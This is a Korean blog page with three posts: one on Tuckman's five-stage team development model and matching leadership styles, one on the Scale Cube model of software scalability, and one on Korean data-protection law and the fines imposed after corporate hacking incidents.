Tuckman의 팀 발달 모델

Posted in 프로젝트관리 // Posted at 2019. 3. 7. 13:00
728x90

지금까지 IT업계에 20년 가까이 일을 하면서, 많은 팀을 겪어 왔습니다.
역할로는 팀원에서부터 파트장, 팀장까지 다양하게 경험을 해왔으며 현재도 진행중이지요.

팀과 프로젝트를 리딩한 경험도 다양한데, 팀의 규모로는 3명에서부터 20명이 넘는 팀을 리딩해 본 경험이 있습니다.

또한 경험해 온 조직 환경도 무지 다양한데, 여러 회사의 다양한 팀 구조와 문화를 체험했습니다.
 

인터넷 컨텐츠 회사에서 부터, 게임회사, 대기업 SI 등의 서로 다른 조직 문화에서 팀 작업을 수행해 왔으며, 팀의 조직화 특성으로는 보통의 기능조직 성격의 팀에서부터 프로젝트에 특화된 TFT(Task Force Team) 형태의 팀구조를 겪어 봤습니다.

지금까지 제가 경험해 온 팀들은 제각각 다른 특성이 있었지만, 결국 사람이 모여서 일을 하는 것이라는 점에서 팀의 근원적 특성은 크게 다르지 않았습니다. 즉 팀이 결성되고 협업하고 때론 갈등에 직면하고 목표를 달성해 나가는 근본적인 원칙과 과정은 크게 다르지 않았다고 생각합니다.

오래전 팀리딩을 시작하게 되면서, 프로젝트 관리와 동기부여에 관련된 다양한 이론과 지식을 찾아서 학습해 왔습니다. 그전(팀원일때)에는 관심 없었던 다양한 경영이론과, 심리학 이론 등이 존재하더군요.

이 글에서는 그 중 하나인, Tuckmana의 팀 발달 모델을 소개하고 제 개인의 경험과 접목하여 글을 정리해 볼까 합니다.


Tuckman's Team Development Model

1965년, 심리학 교수인 Bruce Tuckman은 'Developmental Sequence in Small Groups'이라는 논문을 통해 Team Development Model이라는 경영이론을 발표했습니다.

팀이 형성되고 발달해 나가는 과정을 4단계로 나눈 이 모델은, 각 단계별로 팀이 겪게 되는 특징을 잘 설명합니다. 첫 논문 발표시 4단계였던 것이 1977년에 Adjourning 단계가 추가되면서 현재는 총 5단계 모델로 알려져 있습니다.

국제적인 프로젝트관리 협회인 PMI에서 발행하는 PMBOK에서도 '인적자원관리'라는 챕터에 '프로젝트 팀 개발' 이라는 지식영역에서 이 모델을 팀 관리의 참조 모델로 안내하고 있습니다.

팀 리더는 팀 운영과 프로젝트의 성공을 위해 이 모델을 활용할 수 있습니다. 팀이 발달하는 과정을 이해하고 각 단계별로 당면하는 팀의 상황과 각 상황별로 필요한 리더십 스타일을 이 모델의 이론에 근거하여 결정할 수 있습니다.

개인적으로도 이 모델은, 그간 제가 맡아온 팀을 이해하고 문제를 해결하고 리딩 스타일을 결정하는데 많은 도움이 되었습니다.

Tuckman에 의하면 팀은 (아래 도식에서와 같이)  5단계의 과정을 거치게 됩니다. 처음에 혼돈과 불확실성으로 가득찬 상태에서 긴장과 대립, 갈등이 촉발되는 시기가 옵니다. 이후 각 시행착오를 거치면서 팀은 성장하고 프로젝트를 성공적으로 완수할 수 있게 됩니다. 물론 잘 운영되는 경우에 말이지요.


출처: https://www.lfhe.ac.uk/download.cfm/docid/3C6230CF-61E8-4C5E-9A0C1C81DCDEDCA2


Tuckman의 이론을 하나의 표로 요약해 봅니다.

처음 이 모델을 봤을 때, 참으로 공감되는 내용이 많았습니다.

제가 맡은 여러 형태의 팀들 중에서도 특히, 프로젝트에 특화된 팀(TFT)이나 SI 프로젝트를 수행하는 팀 구조에서 이 모델의 적합성이 더 높았습니다.


각 단계별 리더십 스타일

이 글에서 하고자 하는 얘기의 핵심입니다. 팀리더가 어떻게 해야 팀을 원만하게 운영하고 프로젝트를 성공시키느냐 하는 것입니다.

팀리더는 프로젝트를 성공시키고 팀을 성장시키는데 책임이 있습니다. 그 책임을 다하기 위해서는 팀과 팀 구성원들을 정확히 이해하고 자신의 리더십 스타일을 적절히 변경할 수 있어야 합니다.

즉 팀 리더는 Tuckman의 모델에 참조하여 팀을 이해하고 자신의 리더십 스타일을 결정하거나 조정할 수 있습니다.

여기에 좋은 안내서가 있습니다.


https://kristalaace2014.wordpress.com/2014/02/26/w1_al_tuckman-analysis-assignment/comment-page-1/

위의 표는 각 단계별로 팀리더의 스타일을 안내하고 있습니다. 저도 이 표를 보면서 간과했던 부분을 다시금 깨닫는 계기가 되었습니다.


형성기(Forming)

모든것이 불명확하고 불확실한 상태입니다. 프로젝트의 목표와 과제에 대해 공감과 이해가 부족한 상태이며, 구성원들은 서로 어색하고 신뢰가 형성되지 않은 시기입니다.  

'우리가 여기에 왜 모였는가?'' 를 분명히 해야 합니다.

팀 리더는 팀 구성원들이 길을 잃지 않고 프로젝트를 수행할 수 있는 초석을 마련해야 합니다. 프로젝트의 목표와 방향성을 명확히 수립하고 전달해야 합니다. 또한 R&R을 설정하는 동시에 구성원 개개인과 프로젝트 과제(What) 자체에 집중해야 할 시기입니다.

다시 말하자면, 우리가 왜 모였으며 무엇을 언제까지 누가 어떤 일을 해야 하는지를 명확히 해야 할 시기입니다. 그러므로 이 시기에는 보다 직접적인 리더십 스타일이 필요한데 이를 지시형 리더십 스타일이라 하겠습니다.

격동기(Storming)

앞서 형성기의 단계를 거쳐, 팀 구성원들은 프로젝트의 목표와 개인의 역할을 인지하게 되었습니다. 이제 본격적으로 각 구성원들이 프로젝트를 위해 일을 시작하는 시기입니다. 그러나 이제 막 모인 사람들은 각자의 업무 스타일과 개성이 표출됩니다. 이로 인해 잦은 의견충돌과 대립이 발생하면서 긴장상태로 접어들기도 합니다. 말 그대로 격동기 입니다.

팀 리더로써 가장 중요한 시기입니다. 다름과 틀림을 구분할 수 있도록 해야 합니다. 구성원들의 서로 다른 업무 스타일로 갈등이 고조되지 않도록 하는 조치가 필요합니다. 팀이 일을 하는 방식에 대한 표준(기술표준, 프로세스 표준, 의사결정 방식 등)이 반드시 필요합니다. 각자의 스타일을 존중하되, 협업을 위한 표준으로 각자의 업무 스타일을 조화시켜야 합니다.

이 시기의 팀 리더는 구성원들의 개인적인 상호작용에 많은 관심을 가져야 합니다. 구성원들의 의견 불일치, 갈등을 적극적으로 중재해야 합니다. 이때 팀의 표준과 프로세스가 많은 도움이 됩니다.

코치형 리더십 스타일이 필요하다 하겠습니다. 특히 개인적인 관계를 촉진하는 역할이 중요합니다.


규범기(Norming)

이제부터 팀의 정체성이 서서히 형성되기 시작합니다. 팀 구성원들은 공동의 목표 달성을 위해 모였다는 것을 자각하게 됩니다. 각자는 상호 조화를 위해 노력하기 시작하고 서로를 신뢰하기 시작합니다. 이제 각 구성원들은 자신의 작업을 원만히 수행하며 조화롭게 협업하기 시작합니다.

이때 팀 리더는 작업 그 자체 보다는 작업과 작업간의 흐름과 우선순위, 프로세스에 집중해야 합니다.
즉 프로젝트의 진행 자체를촉진하는 참여형 리더십 스타일로 팀을 리딩하는 것이 좋습니다.


성과기(Performing)

이제 팀은 최고의 성과를 내기 시작합니다. 서로간의 신뢰가 매우 높아진 시기입니다. 프로젝트 목표 달성을 위해 구성원 스스로가 최적의 방안을 스스로 도출해 내기도 합니다. 팀 자체가 하나의 유기체로 동작하게 되며 자신감이 최고조에 달하는 시기입니다.

팀 리더는 구성원들에게 권한을 위임해도 큰 문가 없으며 오히려 권한 위임으로 인한 동기부여와 시너지가 높아지기도 합니다. 즉 위임형 리더십 스타일이 권장됩니다.


해지기(Adjourning)

프로젝트의 수행이 완료되고 팀이 해체하는 시기입니다. 보통 기능조직팀은 해체라는 것이 없지만 프로젝트에 특화된 팀은 해체하게 됩니다.

이 시기에는 특별한 리더십 스타일이 요구된다기 보다는, Lesson Learned를 통해 프로젝트를 수행하면서 겪었던 성공과 실패, 프로세스 지식 등을 정리하고 평가를 수행합니다. 

이러한 경험이 쌓여 다음 프로젝트에 경험적 지식으로 활용됩니다.


'프로젝트관리' 카테고리의 다른 글

[PMP] 시간관리 - 프로세스 개요도  (0) 2023.10.24
Core/Context 모델  (0) 2019.03.20
데브옵스 처방전  (0) 2015.05.21
개발자 칠거지악  (0) 2015.02.06
6하원칙 리더십  (0) 2014.07.09

The Scale Cube (규모 확장성 모델)

Posted in SW개발 // Posted at 2019. 2. 21. 10:49
728x90

INTRO

일정 규모 이상의 정보 서비스를 제공하고 있다면, 아마도 대부분 한대 이상의 서버를 배치하여 부하분산을 시키고 있을 것입니다. 이런 배치 전략을 로드밸런싱이라고 하죠.

로드밸런싱은 대량의 트래픽을 수용하기 위해 여러대의 (동일한) 서버가 요청을 나눠서 처리하도록 하는 부하분산을 통해 서비스의 처리량을 증가 시키고자 하는 것이 주 목적입니다. 

물론 로드분배 알고리즘과 서버 상태를 기반으로 해서 고가용성(HA)의 요건도 같이 충족되는 것이 일반적입니다.

만일 트래픽이 점점 더 늘어난다면, 그에 맞춰 Service #4, Service #5, ... 이런식으로 서비스의 복제본을 늘려 나가기만 하면 되기 때문에 손쉽게 확장이 가능합니다.

애플리케이션의 확장성을 보장하기 위해서는 다양한 전략을 구사할 수 있습니다. 로드밸런싱은 그 중에서도 트래픽의 처리량을 증가시켜서 서비스의 능력을 향상하는 아키텍처 전략에 해당합니다.

이 글에서는 애플리케이션의 확장성 보장을 위한 다양한 전략을 'Scale Cube'라는  규모 확장성 모델에 근거하여 설명하고자 합니다.

 

확장성

먼저 소프트웨어 분야의 확장성이라는 개념을 먼저 정리하자. 확장성은 쉽게 말해서,

애플리케이션이 얼마나 손쉽게 확장될 수 있는 가에 대한 가능성에 대한 정도로써 애플리케이션의 여러 품질속성 중 하나이다.

확장성이 좋다는 말은, 애플리케이션의 능력을 손쉽게 향상 시킬수 있다는 의미가 된다.

여기서 애플리케이션의 능력이란, 알고리즘이나 로직과 같은 세부적인 기능 측면보다는 성능/가용성/보안과 같은 비기능적인 요소(이를 품질속성이라 함)에 해당하는 능력을 말한다.

'정보통신기술용어해설'에서는 확장성을 다음과 같이 정의하고 있다.

대규모적인 재설계/재설치 등의 필요없이 확장이 얼마나 쉽고 가능한가에 대한 용이성

확장의 대상과 확장 방식에 따라 확장성을 다음과 같이 세분화 할 수 있다.

1) 규모 확장성
일반적으로 모든 확장성은 규모 확장성을 의미한다. 규모란 용어는 양적인 측면의 크기를 지칭하는 용어로써 특정 대상만을 한정하지는 않는다. 예를 들어 트래픽 처리량에 대한 규모, 데이터 보관량에 대한 규모, 기능의 종류와 양에 대한 규모 등 얼마든지 수식이 가능하다.

다만, 여기서의 규모 확장성은 아래에 설명하는 다른 확장성과 구분하기 위해 트래픽 처리량에 대한 확장으로 한정하고자 한다.

규모 확장성을 보장하기 위해서는 앞서 살펴본 로드밸런싱과 같이, 동일한 기능을 수행하는 애플리케이션의 복사본을 여러대 구성하여 트래픽 부하를 나눠 가지도록 구성한다. 이런 구성을 Scale out(수평 스케일)이라고도 하며 손쉽게 트래픽 처리량을 확장할 수 있어 흔히 사용되는 방법이다.

규모 확장성을 보장하는 로드밸런싱의 구조를 다시 확인해 보자. Service #1~#3은 모두 동일한 복제본으로 동일한 기능을 수행한다.

 

 

2) 기능 확장성
애플리케이션의 기능을 얼마나 손쉽게 추가, 수정할 수 있느냐에 대한 정도이다. 다시 말해, 기존 기능을 확장하거나 새기능을 추가하여 애플리케이션의 능력을 향상시킬 수 있는 가능성에 대한 정도로 풀어 쓸 수 있다.

과거 유행했던 SOA(Service Oriented Architecture)와 근래 유행하는 MSA(Micro Service Architecture)가 바로 기능 확장성 보장하는 아키텍처 구조이다.

MSA는 애플리케이션을 기능 및 역할 관점에서 분리하여 개별 서비스로 구성하고 상호 연동을 통해서 전체 애플리케이션을 구성하는 방식으로 애플리케이션의 독립성과 자율성을 보장함으로써 유지보수와 기능 확장을 용이하게 하는 아키텍처 구조이다.

다음 그림은 애플리케이션이 역할 단위로 분리되어 서로 다른 기능을 제공하는 모습을 보여준다.

 

3) 데이터 확장성
각각의 애플리케이션이 데이터의 일부분만을 책임지도록 하여 처리 효율을 증가시키거나 데이터 규모에 대한 확장성을 확보하는 기법이다. 데이터 샤딩이나 파티셔닝같이 데이터 자체를 분리하여 저장하는 방식으로 많이 활용되며 경우에 따라서는 애플리케이션 단위의 파티셔닝을 통해 각각이 애플리케이션이 서로 다른 데이터 영역을 책임지게 함으로써 데이터의 처리효율과 애플리케이션의 처리 성능을 향상시킬 수 있다.

다음 그림은 서로 다른 데이터가 서로 다른 저장소에 분리되어 저장된 샤딩된 구조를 보여준다.
여기서 각 Application은 모두 동일한 복제본으로 동일한 기능을 실행하지만 책임지는 데이터 영역이 서로 다르다.

 


예를 들어, 대량의 데이터에 대한 검색 기능을 개발한다고 할 경우, 다음과 같이 검색 API를 두고 뒷단으로 애플리케이션을 파티셔닝해 그 결과를 조합해서 반환하도록 구성할 수도 있다.

 

 

The Scale Cube

'THE ART OF SCALABILITY'라는 책에서는 매우 유용한 3가지 차원의 규모 확장성 모델을 제시한다고, 'Chris Richardson'이 서술한 바 있다.



상단의 그림은 Chris Richardson의 The Scale Cube라는 글에서 발췌해온 것이다. Chris Richardson은 해당 글에서 각 축(axis)에 대해서 설명한다. 글이 짧지만 핵심을 잘 전달해 주고 있으니 일독해 보기를 권장한다.

어느 훌륭한 한국분이 이 글을 번역해서 올려 뒀으니 참고 바란다.
스케일 큐브 (크리스 리차드슨)

 

X축 확장

애플리케이션의 동일한 복제본을 다수로 구성하여 애플리케이션의 처리 능력을 향상시키는 기법이다.
앞서 살펴본 처리량에 대한 확장성 즉, '규모 확장성'이 바로 이 축에 해당한다.

Y축 확장

 

애플리케이션의 기능을 역할별로 분리하여 서로 독립적인 서비스로 구성하는 기법이다.
앞서 살펴본 '기능 확장성'이 바로 이 축에 해당한다.

Z축 확장

데이터이 일부만을 책임지도록 하여 데이터 저장과 활용 관점에서 애플리케이션의 처리 능력을 향상시키는 기법이다. 앞서 살펴본 '데이터 확장성'이 바로 이 축에 해당한다

 

확장성 모델 요약

 

각각의 확장성 모델을 다음과 같이 하나의 표로 정리해 보았다.

 

 

실무 환경

실제 실무환경에서는 각각의 확장성 축이 모두 혼합되어 구성되는 것이 일반적이다. 특히 MSA 아키텍처 구조를 표방하는 애플리케이션들은 거의 대부분 아래와 같은 구조로 설계된다. 즉 모든 축의 확장성을 보장하는 형태로 구성하여 극강의(?) 확장성을 확보한다.

[그림출처: 마이크로서비스 아키텍처로 개발하기(안재우)]

해킹 피해에 따른 행정처분 사례

Posted in SW개발 // Posted at 2019. 2. 8. 12:23
728x90

INTRO

근래 대부분의 해킹 사고 개인정보 유출과 직결됩니다.

해커는 기업이 보유하고 있는 고객의 개인정보를 불법적으로 탈취하여 금품을 요구하거나 탈취한 개인정보를 또다른 불법적인 용도로 활용하게 됩니다.

따라서 기업의 해킹 사고는 (그들만의 문제가 아니라) 그 피해가 우리와 같은 일반 이용자게까지 미치게 되는 것입니다.

이에 현행 법제도에서는 기업이 제대로 관리/감독 하지 않아서 발생한 개인정보 유출 사고에 대해 과징금, 시정명령, 손해배상과 같은 행정처분을 부과할 수 있는 법적 근거를 마련해 두고 있습니다.

이번 글에서는 법에서 명시하고 있는 행정처분의 규정을 살펴보고, 그간 실제 발생한 해킹사고에서 기업에게 부과된 행정처분 사례를 알아 보겠습니다.


개인정보 보호 관련 법체계
개인정보보호와 관련된 가장 보편적인 법은 '개인정보보호법'이다.

개인정보보호법은 2011년 3월 29일 처음 제정/공포되어 6개월 뒤인 2011년 9월 30일에 첫 시행된 이후 지금까지 지속적인 법개정을 거듭하고 있다.

또한 정보통신망법(정보통신망 이용촉진 및 정보보호 등에 관한 법률)과 신용정보법(신용정보의 이용 및 보호에 관한 법률) 등에서도 개인정보 활용과 보호에 대한 법적 규정을 따로 마련해 두고 있다.

특별법 우선 원칙
법은 크게 일반법특별법으로 나뉜다.

특정한 대상(지역/사람/사항 등)에 제한없이 적용되는 법을 일반법이라 하고, 특정한 지역/사람/사항 등에 국한하여 적용되는 법을 특별법이라 한다.

예를들어, 모든 지역의 모든 사람에게 공통으로 적용되는 형법, 민법과 같은 법은 일반법에 해당하며, 특정 대상에 국한하여 적용되는 김영란법, 아동청소년법 등은 특별법에 해당한다.

특별법은 일반법에 우선하여 적용되는데 이를 '특별법 우선 원칙'이라 한다.

개인정보보호법 6조에서도 다음과 같이 법률간 관계를 규정하고 있다.

개인정보보호법 제6조(다른 법률과의 관계) (법조문 바로가기)

개인정보 보호에 관하여는 다른 법률에 특별한 규정이 있는 경우를 제외하고는 이 법에서 정하는 바에 따른다. 

다시 말해 일반법과 특별법에 중복된 규정이 존재할 경우, 특별법이 우선 적용되며 특별법에 존재하지 않는 규정에 대해서만 일반법이 적용되는 체계이다.

앞서 설명한 개인정보 보호 관련 법들도 이런 체계를 따른다.

개인정보보호법은 개인정보를 다루는 곳이라면 누구에게나 구분없이 적용되는 일반법이며, 정보통신사업자에게 적용되는 정보통신망법은 특별법에 해당한다.


[출처: 금융위원회(2016)]

상단의 그림과 같이 기업의 업종에 따라 법 적용이 구분된다. 따라서 해킹 사고로 인해 개인정보가 유출된 경우, 기업이 어떤 처벌을 받게 되는지 알고 싶을 경우에는 해당 기업이 어떤 법에 적용을 받는지 파악해야 한다.

이 글에서는 정보통신망법에 초점을 맞춰 알아 볼 것이다.


개인정보 유출에 대한 법적 규제(행정처분 근거 법령)
개인정보 유출로 이어지는 해킹 사고 발생시, 해당 기업을 규제할 수 있는 법적 근거에  대해 알아보자. 다음 그림은 개인정보보호법과 정보통신망법을 기준으로 적용 가능한 법적규제와 조문을 보여준다.

행정처분 중 과징금 부과에 대한 법규정을 살펴보면 다음과 같이 기술하고 있다.

개인정보보호법 제34조의 2(과징금의 부과 등) (법조문 바로가기)

① 행정안전부장관은 개인정보처리자가 처리하는 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손된 경우에는 5억원 이하의 과징금 부과ㆍ징수할 수 있다. 다만, 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 개인정보처리자가 제24조제3항에 따른 안전성 확보에 필요한 조치를 다한 경우에는 그러하지 아니하다.

정보통신망법 제64조의3(과징금의 부과 등) (법조문 바로가기)

① 방송통신위원회는 다음 각 호의 어느 하나에 해당하는 행위가 있는 경우에는 해당 정보통신서비스 제공자등에게 위반행위와 관련한 매출액의 100분의 3 이하에 해당하는 금액을 과징금으로 부과할 수 있다.
...
6. 이용자의 개인정보를 분실·도난·유출·위조·변조 또는 훼손한 경우로서 제28조 제1항 제2호부터 제5호까지(제67조에 따라 준용되는 경우를 포함한다)의 조치를 하지 아니한 경
...

핵심은 이렇다.

다른 사람(이하 이용자)의 개인정보를 수집하고 이를 활용하는 자(이하 서비스 제공자)는 이용자의 개인정보를 안전하게 보관하고 처리해야 할 의무가 있다.

만일 (1)개인정보 유출 사고가 발생 했을 때, (2)서비스 제공자가 개인정보 보호를 위한 안전조치의 의무사항을 소홀히 했을 때, 과징금을 부과할 수 있도록 한 것이다.

즉 아래의 두 조건이 모두 만족되었을 때, 과징금 부과가 가능한 것이다.

서비스 제공자 입장에서는 개인정보가 유출되었다 할지라도, 개인정보 보호를 위한 안전 조치를 충실히 했다는 것이 증명되면 과징금 처분을 감경받거나 면제 받을 수 있다는 말이 된다.

그렇다면, 서비스 제공자는 어떤 안전조치 의무사항을 준수해야 할까? 이 역시 법과 시행령을 통해 구체적으로 그 기준을 명시하고 있다.

정보통신망법 기준으로 보면, '제28조(개인정보의 보호조치) 제1항 제2호~제5호'까지의 조치를 해야 한다고 명시하고 있다.

정보통신망법 제28조(개인정보의 보호조치) (법조문 바로가기)

① 정보통신서비스 제공자등이 개인정보를 처리할 때에는 개인정보의 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손을 방지하고 개인정보의 안전성을 확보하기 위하여 대통령령으로 정하는 기준에 따라 다음 각 호의 기술적ㆍ관리적 조치를 하여야 한다.
...
2. 개인정보에 대한 불법적인 접근을 차단하기 위한 침입차단시스템 등 접근 통제장치의 설치ㆍ운영
3. 접속기록의 위조ㆍ변조 방지를 위한 조치
4. 개인정보를 안전하게 저장ㆍ전송할 수 있는 암호화기술 등을 이용한 보안조치
5. 백신 소프트웨어의 설치ㆍ운영 등 컴퓨터바이러스에 의한 침해 방지조치
...

또한 28조의 각호에 대한 기술적, 관리적 조치에 대한 구체적인 안전조치 방법은 동법 '시행령 제15조(개인정보보호조치)'에 따를 것을 규정하고 있다.

서비스 제공자는 해당 법과 시행령을 기준으로  안전조치 의무를 충실히 해야만 개인정보 유출 사고가 발생해도 무거운 처벌을 받지 않게 된다.


과징금 산정 기준
서비스 제공자에게 금전적인 행정처분은 과징금과태료를 통해 이뤄진다.

과징금과 과태료 모두 법을 통해 그 산정 기준을 명시하고 있으며, 과태료 보다는 과징금이 더 무거운 처분에 해당하고 금액도 훨씬 높게 책정된다.

각 법에서는 다음과 같이 과징금 부과 기준을 규정하고 있다.

개인정보보호법(제34조의 2)
: 주민등록번호 유출시 5억원 이하의 과징금 부과

정보통신망법(제64조의3)
: 위반행위와 관련한 매출액의 100분의 3 이하에 해당하는 금액을 과징금으로 부과

정보통신망법의 경우 매출액이 클 수록 과징금 금액도 비례해서 높게 책정되도록 규정하고 있다.

과징금의 구체적인 산정기준을 명시하고 있는 시행령을 살펴보면 다음과 같다.

정보통신망법 시행령 제69조의2(과징금의 산정기준 등) (법조문 바로가기)

① ...(생략) "위반행위와 관련한 매출액"이란 해당 정보통신서비스 제공자등의 위반행위와 관련된 정보통신서비스의 직전 3개 사업연도의 연평균 매출액을 말한다.

종합해보면, 직전 3개년도 연평균 매출액의 최대 3%까지 과징금을 부과힐 수 있다는 말이다.

과징금의 가중 및 감경
법 위반행위의 동기 및 내용, 위반의 정도와 결과 등을 고려하여 과징금을 가중하거나 감경할 수 있다.

또한 해킹 사고로 개인정보가 유출되었을 경우, 자진 신고하면 추가 감경을 해 준다. 관례로 보면 통상 10% 정도 추가 감경을 해 준다.

과징금의 구체적인 산정절차와 가중/감경에 대한 상세한 규정은 정보통신망법 시행령 제69조의2 제4항에 명시한 [별표 8]에서 확인할 수 있다

-> (바로가기) [별표 8] 과징금의 산정기준과 산정절차(제69조의2제4항 관련)


개인정보 유출 통계
지난해(2018년) 행정안전부와 KISA(한국인터넷진흥원)이 공동발간한 '개인정보 실태점검 및 행정처분 사례집'에서는 개인정보보보법이 시행(2011년 9월) 된 이후부터 2017년 말까지의 개인정보 유출 통계를 보여준다.

공공기관과 민간 기업을 합해 총 1억 3,254만건이 유출되었다. 2018년 데이터와 신고하지 않은 건수 까지 합한다면 더 높은 수치를 예상해 볼 수 있다.

5천만명 인구에 1억을 훨씬 상회하는 건수로 유출되었으니 적지 않은 수이다. 물론 중복이 존재하겠지만, 그래도 거의 대부분의 국민의 개인정보가 털렸다고 봐야 되지 않을까 한다.

잊을만 하면 터지는 개인정보 유출 사고와 대량의 유출 건수는, 역설적으로 개인정보 유출에 대한 경각심을 둔화 시키는 결과로까지 이어지는 듯 하다. 대부분의 사람이 자신의 개인정보가 불법적인 유통 경로로 거래되고 있다고 생각할 것이다.

개인정보 보호를 위해 개개인의 신중함도 필요하지만, 그에 앞서 개인정보를 활용하는 서비스 제공자의  보안의식 고취와 견고한 안전조치가 선행되어야 할 것이다.

동(同) 자료의 또 다른 통계(유출 사고 유형별 현황)을 보면 개인정보 유출 사고의 원인으로 해킹이 가장 많이 차지한다는 것을 확인할 수 있다.


해킹 피해(개인정보 유출)에 따른 행정처분 사례
얼마전 다음과 같음 메일을 한통 받았다. 보자 마자 "또 털렸군!"하며 한숨이 나왔다.
 

증말이지...
(혹시나 잊을까봐 그러는지) 잊을만 하면 '니 정보 털렸으니 미안해~'라는 메일이 온다.

원래 사고라는 것이, 아무리 대비한다고 해도 발생하기 마련이라고는 하지만 과연 그런 불가항력적인 요인만 있을까? 서비스 제공자의 보안의식에 문제는 없을까? 과연 수익 대비 보안에 적정한 투자를 하고 있을까? 의아 스럽다.

사실 이 글을 쓰게 된 첫번째 동기도, 이참에 그동안의 굵직한 보안사고에 대한 법적 처분 사례를 확인해 보기 위함이었다. 과연 어떤 처분을 해 왔길래 늘 비슷한 보안 사고가 반복되는지 궁금해서이다.

지금부터 그간 발생한 (해킹 사고로 인한) 개인정보 유출에 대해 행정처분한 사례를 알아보자.

하나투어, 주민등록번호 유출 사고
2017년 9월, 해킹 사고로 인해 49만명의 개인정보가 유출되었고 이 중에서 42만명 가량은 주민등록번호가 포함되어 있었다. 

개인적으로는, 2017년 8월 약 한달간 하나투어 구조진단 컨설팅(해당 건과 관련 없는 부문의 컨설팅)을 나갔었는데 바로 다음달에 사고가 터져 기억이 선명하다.

방통위가 발표한 정확한 피해 규모는 다음과 같다. 주민등록번호가 털렸으니 사태가 꽤 심각했다.



[출처: 방송통신위원회]

이 사건은 개인정보보호법이 적용된 사례로, 주관부처인 행정안전부는 개인정보보호법에 근거하여 다음과 같은 행정처분을 내렸다. 참고로 이 사건은 개인정보보호법 제정 이래 처음으로 과징금이 부과된 사례라고 한다.

(과징금 및 과태료)
과징금 3억 2,725만원과태료 1,800만원 부과

(시정조치 명령)
- 위반행위 즉시 중지
- 대표(CEO) 및 책임있는 임원(CPO 등)의 특별교육 이수
- 개인정보보호 책임자 및 취급자 대상 정기 교육 실시 및 재발방지 대책 수립
- 처분 통지 날로 부터 30일 이내 시정명령 이행결과 제출

(징계 권고)
- 처분 통지 날로부터 2개월 이내에 대표 및 책임있는 임원에 대해 징계할 것을 권고

본 건의 행정처분 사항의 보다 상세한 내용은 다음의 의결 내용을 확인해 보기 바란다.
(주)하나투어, 개인정보 유출사고로 행정처분 의결


메가스터디, 100만 개인정보 유출사고
2017년 7월, 메가스터디에서는 해킹 사고로 인해 이용자의 아이디, 이름, 생년월일 등 회원정보 123만3,859건(중복제외 111만7227건)의 개인정보가 유출되었다.

방송통신위원회는 정보통신망법에 근거하여 다음과 같이 행정처분을 내렸다.

(과징금 및 과태료)
과징금 2억 1,900만원(자신신고로 과징금 추가 감경 10% 적용), 과태료 1,000만원 부과 

(시정조치 명령)
- 위반행위 즉시 중지
- 재발 방지대책 수립
- 시정명령 처분사실 공표

자세한 사항은 다음을 확인하기 바란다.
2018년 제33차 위원회 결과


여기어때, 숙박정보 및 개인정보 유출 사고
2017년 3월, 숙박앱 '여기어때'는 SQL 인젝션 공격으로 인해 회원들의 숙박 예약 정보와 개인정보가 유출되었다. 서비스 이용자의 숙박예약정보 3,239,210건회원정보 178,625건이 유출되었으며 숙박 예약을 한 회원 대상으로 4,817건의 음란문자가 전송되었다.


[출처: 방송통신위원회]

방송통신위원회는 정보통신망법에 근거하여 다음과 같이 행정처분을 내렸다. 참고로 이 사건은 개인정보 유출사고 최초로 책임자 징계를 권고한 사례하고 한다.

(과징금 및 과태료)
과징금 3억 100만원과태료 2,500만원 부과 

(시정조치 명령)
- 위반행위의 중지 및 재발방지대책 수립
- 대표자 및 책임있는 임원에 대한 징계권고그 결과를 방통위에 통보
- 시정명령 처분사실 공표

자세한 사항은 다음을 확인하기 바란다.
방통위, ㈜위드이노베이션 개인정보 유출사고 엄정 제재


인터파크, 2,500만 개인정보 유출사고
2016년 5월, APT 공격에 의해 인터파크 회원정보가 그야말로 대거 유출되었다.


[출처: 방송통신위원회]

엄청난 규모의 개인정보 유출에 걸맞게 과징금도 역대급으로 높게 책정되었다. 개인정보 유출 사고와 관련해 최대 징수액으로 기록했다. 당시 정보통신망법이 개정(매출액 3%)되어서 법 규정에서의 과징금 상한이 대폭 올라갔기 때문에 가능한 수치였다.

인터파크는 아무리 법 개정이 되었어도 기존의 처분에 비해 너무 과도하다며 형평성 및 비례의 원칙에 어긋난다고 입장을 밝힌바 있다. 인터파크는 행정처분에 불복 소송을 걸었고 1심에서 패소하였다. 이후 재항고를 하여 현재 2심 진행중이라 한다.

(과징금 및 과태료)
과징금 44억 8천만원과태료 2,500만원 부과 

(시정조치 명령)
- 재발방지대책 수립 및 시행

자세한 사항은 다음을 확인하기 바란다.
방통위, ㈜인터파크 개인정보 유출사고 엄정 제재


KT, 연속된 개인정보 유출사고
KT는 2012년에 전산망 해킹으로 인해 870만명의 개인정보를 유출한데 이어, 2014년에도 홈페이지가 해킹을 당해 1,170만건의 개인정보가 유출되었다. 2012년 당시 7억 5천만원 가량의 과징금을 처분 받았고 2014년 유출사고에서는 7천만원 과징금 처분을 받았다.

KT는 2004년에도 개인정보 유출사고가 발생한 것을 포함하면 총 3차례나 사고가 반복된 셈이다.

근데 재밌는 것은, 2014년 사건은 과징금 처분 이후 KT가 불복하여 소를 제기했고 결국 법원으로부터 '7천만원 과징금 취소 판결'을 받아 법원이 행정부(방통위)의 처분을 뒤엎은 결과가 나왔다. 현재 2심 진행중이라 한다.

SK 컴즈, 옥션 대규모 개인정보 유출 사고
2008년 옥션에서는 해킹으로 인해 1,863만건의 개인정보가 유출되었다. 2011년에는 SK 컴즈의 네이트,싸이월드가 해킹을 당해 3,500만건의 개인정보가 유출되었다.

두 경우 모두 행정처분은 따로 없었다. 피해를 받은 이용자와 시민단체 등에 의해 손해배상 소송이 진행되었는데, 옥션의 경우 대법원에서 그(옥션)의 손을 들어줘 최종 원고 패소하였다. SK컴즈의 경우 20여건의 소송이 진행되었는데 일부 승소하고 일부 패소했다고 한다.

기타
앞서 사례들을 포함해서 다음과 같이 정리를 해 보았다.

표를 보면, 관련 법이 제정되기 전에는 행정처분 자체가 없었다는 것을 알 수 있다. 그러나 법이 제정되고 갈수록 강화되어 행정처분의 수위도 점점 높아지고 있는 것 같다.

하지만 과연 피해 규모에 대비해서 적정한 처분인가? 하는 생각이 드는 부분도 있다.

논란의 여지가 분명 있을 것이다.

모든 비즈니스 분야에 있어 과도한 규제나 징계는 산업을 위축시켜 발전을 저해시킬 수 있다. 하지만 모든 것이 통신으로 연결되는 초연결 사회로 갈수록 보안 사고는 엄청난 피해를 야기할 것이다.

